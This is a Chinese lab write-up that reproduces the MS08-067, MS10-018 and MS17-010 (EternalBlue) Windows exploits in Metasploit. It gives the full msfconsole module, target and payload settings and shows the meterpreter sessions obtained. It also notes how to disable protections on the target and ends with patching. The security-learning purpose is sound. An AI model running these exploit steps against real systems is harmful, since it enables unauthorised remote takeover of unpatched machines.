首页 > 其他分享 >13-MSF常见漏洞复现

13-MSF常见漏洞复现

时间:2024-12-19 13:41:56浏览次数:3  
标签:13 set MS17 010 漏洞 ms17 复现 MSF smb

1、MS08-067、MS10-018漏洞复现,对比bind和reverse攻击模式的区别

  • MS08-067

    环境:使用kali中的MSF工具攻击Windows XP

    1. 开启msfconsole,搜索MS08-067漏洞,进入漏洞利用模块

      msfconsole
      search ms08-067
      use  exploit/windows/smb/ms08_067_netapi 
      
    2. 查看配置项show options

    3. 设置相应的配置项

      set rhosts 10.0.0.171	#攻击的目标地址(Windows XP)
      set payload windows/meterpreter/bind_tcp	#设置攻击模式
      show targets	#查看可攻击的目标类型
      set target 34	#设置攻击目标类型(Windows XP SP3 Chinese - Simplified (NX))
      
    4. 检查配置信息无误

      image-20241212163849726

    5. 执行exploit攻击(前提:保证目标防火墙是关闭的状态)

      成功拿下:

      image-20241212165336981

  • MS10-018

    • 漏洞利用复现

      msfconsole
      search ms10-018
      use exploit/windows/browser/ms10_018_ie_behaviors
      set srvhost		#设置反弹监听地址(kali)
      set uripath test01		#设置uri路径名称
      options 	#检查配置信息
      run 	#发起攻击
      
    • msf生成访问地址,让靶机访问url

      image-20241212172510051

      image-20241212172147174

    • 生成监听会话,成功拿下meterpreter

      sessions -l 	#列出全部会话
      sessions -i 1 	#选择会话1利用
      

      image-20241212172659933

  • bind和reverse攻击模式的区别:

    bind攻击模式是kali主动攻击靶机(由外到内),具有攻击行为容易被安全设备拦截,而reverse模式是靶机主动连接Kali(由内到外)反弹shell,不具有攻击行为不会被安全设备所拦截。

2、MS17-010漏洞复现

(1)针对靶机系统使用0~3漏洞利用模块进行攻击

  • 利用win7漏洞满足环境:

    • 防火墙必须允许SMB流量出入:关闭防火墙

    • 目标必须使用SMBv1协议 (默认)

    • 目标必须缺少MS17-010补丁 (默认)

    • 目标必须允许匿名IPC$和管道名:cmd - gpedit.msc(打开组策略)> Windows设置 > 安全设置 > 本地策略 > 安全选项 > 网络访问:限制对命名管道和共享的匿名访问 - 禁用

  • 0 ~ MS17-010(windows/smb/ms17_010_eternalblue)

    search ms17-010
    use 0
    options
    set rhosts 10.0.0.154 	#Win7的地址
    run
    

    成功拿下meterpreter

    image-20241212185028891

  • 1 ~ MS17-010(exploit/windows/smb/ms17_010_psexec)

    search ms17-010
    use 1
    options
    set rhosts 10.0.0.154 	#Win7的地址
    run
    

    成功拿下meterpreter

    image-20241212185400616

  • 2 ~ MS17-010(auxiliary/admin/smb/ms17_010_command)

    search ms17-010
    use 2
    options
    set command whoami
    set rhosts 10.0.0.154 	#Win7的地址
    run
    

    image-20241212185736392

  • 3 ~ MS17-010(auxiliary/scanner/smb/smb_ms17_010)

    search ms17-010
    use 3
    options
    set rhosts 10.0.0.154 	#Win7的地址
    run
    

    image-20241212185927553

(2)分别注明0~3漏洞利用模块的攻击效果和利用条件,完成漏洞修复

漏洞 攻击效果 利用条件
0~windows/smb/ms17_010_eternalblue 直接拿下meterpreter 目标:防火墙关闭、使用SMBv1协议、无MS17-010补丁
1~exploit/windows/smb/ms17_010_psexec 直接拿下meterpreter 目标:防火墙关闭、使用SMBv1协议、无MS17-010补丁、允许匿名IPC$和管道名
2~auxiliary/admin/smb/ms17_010_command 返回命令执行结果 目标:防火墙关闭、使用SMBv1协议、无MS17-010补丁、允许匿名IPC$和管道名
3~auxiliary/scanner/smb/smb_ms17_010 仅作扫描 目标:防火墙关闭、使用SMBv1协议、无MS17-010补丁

漏洞修复:Win7中下载ms17-010补丁

再次利用ms17-010漏洞时,回显结果显示已不存在漏洞,证明补丁打入成功

image-20241212193747287

标签:13,set,MS17,010,漏洞,ms17,复现,MSF,smb
From: https://www.cnblogs.com/bokexiLu/p/18617052

相关文章

  • USACO备考冲刺必刷题 | P1376 Yogurt factory
    学习C++从娃娃抓起!记录下USACO(美国信息学奥赛)备考学习过程中的题目,记录每一个瞬间。附上汇总贴:USACO备考冲刺必刷题|汇总-CSDN博客【题目描述】小T开办了一家机器工厂,在 N个星期内,原材料成本和劳动力价格不断起伏,第 i 周生产一台机器需要花费 Ci 元。若没把机器卖......
  • 【创新、复现】基于蜣螂优化算法的无线传感器网络覆盖优化研究(Matlab代码实现)
    ......
  • 【AI安全漏洞】VLLM反序列化漏洞分析与保姆级复现(附批量利用)
    #CVE-2024-9052环境需要Linux(这里使用kali)、Anaconda首先安装Anaconda前言最好使用linux,如果使用windows可能会产生各种报错(各种各种各种!!!),最好使用Anaconda,方便独立管理虚拟机使用conda创建虚拟机、python要求3.10condacreate-nvllm_beampython=3.10-y启动该虚拟机......
  • ZZNUOJ_1341:简单密码破解(C/C++/Java)
    题目描述密码是我们生活中非常重要的东东,我们的那么一点不能说的秘密就全靠它了。哇哈哈. 接下来渊子要在密码之上再加一套密码,虽然简单但也安全。 假设渊子原来一个BBS上的密码为zvbo941987,为了方便记忆,他通过一种算法把这个密码变换成YUANzi1987,这个密码是他的名......
  • 【Windows安全】13种回调函数执行ShellCode
    #windows#回调函数回调机制在我们使用回调函数执行Shellcode之前,我们首先需要去了解Windows回调机制,Windows回调机制就像你和你的助手一样,比如说每一个律师所中的每一个律师都有一个实习助手,律师需要助手在特定的情况下去处理一些特殊的任务,但这些任务并不是日常工作的一部分。......
  • Mysql连接报错:1130-host ... is not allowed to connect to this MySql server如何处
    这个问题是因为在数据库服务器中的mysql数据库中的user的表中没有权限(也可以说没有用户),下面将记录我遇到问题的过程及解决的方法。在搭建完LNMP环境后用Navicate连接出错遇到这个问题首先到mysql所在的服务器上用连接进行处理1、连接服务器:mysql-uroot-p......
  • 12.13
    实验2熟悉常用的HDFS操作  1.实验目的(1)理解HDFS在Hadoop体系结构中的角色;(2)熟练使用HDFS操作常用的Shell命令;(3)熟悉HDFS操作常用的JavaAPI。2.实验平台(1)操作系统:Linux(建议Ubuntu16.04或Ubuntu18.04);(2)Hadoop版本:3.1.3;(3)JDK版本:1.8;(4)JavaIDE:Eclipse。3.实验步骤(一)编......
  • Chrome 132 版本开发者工具(DevTools)更新内容
    Chrome132版本开发者工具(DevTools)更新内容一、使用Gemini调试Network、Source和PerformanceChrome131可以使用Gemini调试CSS,现在可以调试更多模块了与元素面板中的右键菜单类似,要打开AI辅助面板并开始与Gemini的聊天,可以通过以下方式操作:在Network面......
  • 13. 罗马数字转整数
    题目链接解题思路:没啥可说的,按照要求一个个字符处理代码classSolution{public:intromanToInt(strings){intans=0;intlen=s.length();map<char,int>table;table['I']=1;table['V']=5;t......
  • 【CSS in Depth 2 精译_083】13.3:CSS 混合模式的用法及相关注意事项
    当前内容所在位置(可进入专栏查看其他译好的章节内容)第四部分视觉增强技术✔️【第13章渐变、阴影与混合模式】✔️13.1渐变13.1.1使用多个颜色节点(上)13.1.2颜色插值方法(中)13.1.3径向渐变(下)13.1.4锥形渐变(下)13.2阴影13.2.1利用渐变和阴影打造......